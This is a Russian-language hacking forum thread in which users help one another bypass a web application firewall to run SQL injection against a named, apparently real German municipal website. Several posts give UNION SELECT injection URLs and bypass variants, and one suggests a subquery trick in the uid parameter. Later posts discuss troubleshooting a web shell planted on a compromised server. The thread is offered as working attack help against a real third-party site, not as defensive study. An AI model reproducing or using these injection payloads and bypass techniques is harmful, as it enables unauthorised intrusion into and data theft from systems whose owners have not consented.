 |
|
24.01.2020, 04:13
|
|
Новичок
Регистрация: 26.08.2019
Сообщений: 20
С нами:
3536246
Репутация:
8
|
|
Сообщение от DezMond™
↑
помогите ваф обойти
Код:
http://baustelle.viernheim.de/index.php?id=83&rt=single&typ=img&no_cache=1&uid=10+union+1,2,3,4,5,6,7,8,9,10,11,12,13,14+--+
Если только WAF беспокоит, то:
Код:
http://baustelle.viernheim.de/index.php?id=83&rt=single&typ=img&no_cache=1&uid=10+union+select(wafbypass),2,3,4,5,6,7,8,9,10,11,12,13,14+--+
http://baustelle.viernheim.de/index.php?id=83&rt=single&typ=img&no_cache=1&uid=10+and+union+select,1,2,3,4,5,6,7,8,9,10,11,12,13,14+--+
|
|
|
24.01.2020, 06:32
|
|
Новичок
Регистрация: 30.01.2019
Сообщений: 15
С нами:
3835766
Репутация:
3
|
|
Сообщение от DezMond™
↑
помогите ваф обойти
Код:
http://baustelle.viernheim.de/index.php?id=83&rt=single&typ=img&no_cache=1&uid=10+union+1,2,3,4,5,6,7,8,9,10,11,12,13,14+--+
Либо крутим подзапрос в uid. uid=(if((select 1),10,0)), либо другое значение искать...
|
|
|
|
24.01.2020, 09:51
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами:
9650336
Репутация:
662
|
|
Сообщение от Pop-Xlop
↑
Если только WAF беспокоит, то:
Код:
http://baustelle.viernheim.de/index.php?id=83&rt=single&typ=img&no_cache=1&uid=10+union+select(wafbypass),2,3,4,5,6,7,8,9,10,11,12,13,14+--+
http://baustelle.viernheim.de/index.php?id=83&rt=single&typ=img&no_cache=1&uid=10+and+union+select,1,2,3,4,5,6,7,8,9,10,11,12,13,14+--+
ну естественно синтаксис соблюдать, с ошибками он и так проходит
|
|
|
|
24.01.2020, 10:18
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами:
5797046
Репутация:
40
|
|
Сообщение от DezMond™
↑
помогите ваф обойти
Код:
http://baustelle.viernheim.de/index.php?id=83&rt=single&typ=img&no_cache=1&uid=10+union+1,2,3,4,5,6,7,8,9,10,11,12,13,14+--+
После + поставь select
|
|
|
|
24.01.2020, 11:06
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами:
9650336
Репутация:
662
|
|
ваф срабатывает, по этому не полный запрос) при чём ваф работает когда запрос выполняется без ошибок, даже если в конце убрать --
|
|
|
|
24.01.2020, 18:40
|
|
Новичок
Регистрация: 04.10.2018
Сообщений: 20
С нами:
4005686
Репутация:
0
|
|
dell
|
|
|
|
31.01.2020, 22:22
|
|
Новичок
Регистрация: 18.12.2013
Сообщений: 16
С нами:
6527126
Репутация:
0
|
|
Сообщение от o314um
↑
столкнулся с ситуацией, когда есть веб шелл, есть правки на файлы и правки вносятся. Но когда загружаешь страницу из http - правок, что внес - нет. так же и с файлами. Заливаешь текстовый файл, а при открытии - 404. Права стоят верные. Через веб шелл смотришь - файл есть.либо правки в существующих. А сайт работает как и работал.
Что тут может быть?
Файловый кеш сервера + метка модификации файла не меняется. Либо не на тот сервак правки вносите, такое тоже бывает)
|
|
|
|
01.02.2020, 16:01
|
|
Новичок
Регистрация: 26.08.2019
Сообщений: 20
С нами:
3536246
Репутация:
8
|
|
Уверены, что не балансер?
|
|
|
|
01.02.2020, 20:52
|
|
Новичок
Регистрация: 23.12.2015
Сообщений: 29
С нами:
5468726
Репутация:
0
|
|
|
|
|
|
01.02.2020, 21:20
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами:
5797046
Репутация:
40
|
|
Почему тогда у этих многих не спросить?
Лично я не вижу там ничего
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
